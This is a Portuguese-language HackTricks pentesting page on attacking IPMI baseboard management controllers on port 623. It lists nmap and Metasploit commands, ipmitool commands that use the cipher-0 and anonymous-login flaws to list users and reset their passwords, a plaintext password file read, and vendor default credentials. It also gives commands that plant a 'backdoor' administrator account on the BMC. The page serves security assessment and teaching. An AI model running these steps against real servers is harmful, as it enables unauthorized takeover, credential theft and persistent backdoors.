9.3 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Visão Geral do IPMI
Intelligent Platform Management Interface (IPMI) oferece uma abordagem padronizada para gerenciamento remoto e monitoramento de sistemas de computador, independente do sistema operacional ou estado de energia. Essa tecnologia permite que os administradores de sistema gerenciem sistemas remotamente, mesmo quando estão desligados ou sem resposta, e é especialmente útil para:
- Configurações de inicialização pré-OS
- Gerenciamento de desligamento
- Recuperação de falhas no sistema
O IPMI é capaz de monitorar temperaturas, voltagens, velocidades do ventilador e fontes de alimentação, além de fornecer informações de inventário, revisar logs de hardware e enviar alertas via SNMP. Para sua operação são necessários uma fonte de energia e uma conexão LAN.
Desde sua introdução pela Intel em 1998, o IPMI tem sido suportado por inúmeros fornecedores, aprimorando as capacidades de gerenciamento remoto, especialmente com o suporte à versão 2.0 para serial sobre LAN. Componentes-chave incluem:
- Controlador de Gerenciamento da Placa Base (BMC): O microcontrolador principal para operações do IPMI.
- Barramentos e Interfaces de Comunicação: Para comunicação interna e externa, incluindo ICMB, IPMB e várias interfaces para conexões locais e de rede.
- Memória IPMI: Para armazenar logs e dados.
Porta Padrão: 623/UDP/TCP (Normalmente é em UDP, mas também pode ser executado em TCP)
Enumeração
Descoberta
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Você pode identificar a versão usando:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
Vulnerabilidades do IPMI
No reino do IPMI 2.0, uma falha significativa de segurança foi descoberta por Dan Farmer, expondo uma vulnerabilidade através do tipo de cifra 0. Essa vulnerabilidade, documentada em detalhes na pesquisa de Dan Farmer, permite acesso não autorizado com qualquer senha desde que um usuário válido seja alvo. Essa fraqueza foi encontrada em vários BMCs de fabricantes como HP, Dell e Supermicro, sugerindo um problema generalizado em todas as implementações do IPMI 2.0.
Bypass de Autenticação do IPMI via Cifra 0
Para detectar essa falha, o seguinte scanner auxiliar do Metasploit pode ser empregado:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
A exploração dessa falha é possível com ipmitool
, conforme demonstrado abaixo, permitindo a listagem e modificação de senhas de usuário:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
Recuperação Remota de Hash de Senha de IPMI 2.0 RAKP Authentication
Essa vulnerabilidade permite a recuperação de senhas salgadas e hasheadas (MD5 e SHA1) para qualquer nome de usuário existente. Para testar essa vulnerabilidade, o Metasploit oferece um módulo:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
Autenticação Anônima IPMI
Uma configuração padrão em muitos BMCs permite o acesso "anônimo", caracterizado por strings de nome de usuário e senha nulas. Essa configuração pode ser explorada para redefinir senhas de contas de usuário nomeadas usando ipmitool
:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Senhas em texto simples do IPMI da Supermicro
Uma escolha de design crítica no IPMI 2.0 torna necessário o armazenamento de senhas em texto simples dentro dos BMCs para fins de autenticação. O armazenamento dessas senhas pela Supermicro em locais como /nv/PSBlock
ou /nv/PSStore
levanta preocupações significativas de segurança:
cat /nv/PSBlock
Vulnerabilidade de UPnP do Supermicro IPMI
A inclusão de um ouvinte UPnP SSDP no firmware do IPMI da Supermicro, especialmente na porta UDP 1900, introduz um risco de segurança grave. Vulnerabilidades no SDK da Intel para Dispositivos UPnP versão 1.3.1, conforme detalhado pela divulgação da Rapid7, permitem acesso root ao BMC:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Ataque de Força Bruta
A HP randomiza a senha padrão de seu produto Integrated Lights Out (iLO) durante a fabricação. Essa prática contrasta com outros fabricantes, que tendem a usar credenciais padrão estáticas. Um resumo de nomes de usuários e senhas padrão para vários produtos é fornecido da seguinte forma:
- HP Integrated Lights Out (iLO) usa uma cadeia de 8 caracteres randomizada de fábrica como sua senha padrão, demonstrando um nível de segurança mais alto.
- Produtos como Dell's iDRAC, IBM's IMM e Fujitsu's Integrated Remote Management Controller usam senhas facilmente adivinháveis como "calvin", "PASSW0RD" (com um zero) e "admin", respectivamente.
- Da mesma forma, Supermicro IPMI (2.0), Oracle/Sun ILOM e ASUS iKVM BMC também usam credenciais padrão simples, com "ADMIN", "changeme" e "admin" servindo como suas senhas.
Acessando o Host via BMC
O acesso administrativo ao Controlador de Gerenciamento da Placa Base (BMC) abre várias vias para acessar o sistema operacional do host. Uma abordagem direta envolve a exploração da funcionalidade de Teclado, Vídeo, Mouse (KVM) do BMC. Isso pode ser feito reiniciando o host para um shell raiz via GRUB (usando init=/bin/sh
) ou inicializando a partir de um CD-ROM virtual configurado como um disco de resgate. Tais métodos permitem a manipulação direta do disco do host, incluindo a inserção de backdoors, extração de dados ou quaisquer ações necessárias para uma avaliação de segurança. No entanto, isso requer reiniciar o host, o que é uma desvantagem significativa. Sem reiniciar, acessar o host em execução é mais complexo e varia com a configuração do host. Se o console físico ou serial do host permanecer logado, ele pode ser facilmente assumido por meio das funcionalidades KVM ou serial-over-LAN (sol) do BMC via ipmitool
. Explorar a exploração de recursos de hardware compartilhados, como o barramento i2c e o chip Super I/O, é uma área que exige investigação adicional.
Introduzindo Backdoors no BMC a partir do Host
Após comprometer um host equipado com um BMC, a interface local do BMC pode ser aproveitada para inserir uma conta de usuário backdoor, criando uma presença duradoura no servidor. Esse ataque exige a presença do ipmitool
no host comprometido e a ativação do suporte ao driver BMC. Os comandos a seguir ilustram como uma nova conta de usuário pode ser injetada no BMC usando a interface local do host, o que contorna a necessidade de autenticação. Essa técnica é aplicável a uma ampla gama de sistemas operacionais, incluindo Linux, Windows, BSD e até DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
porta:623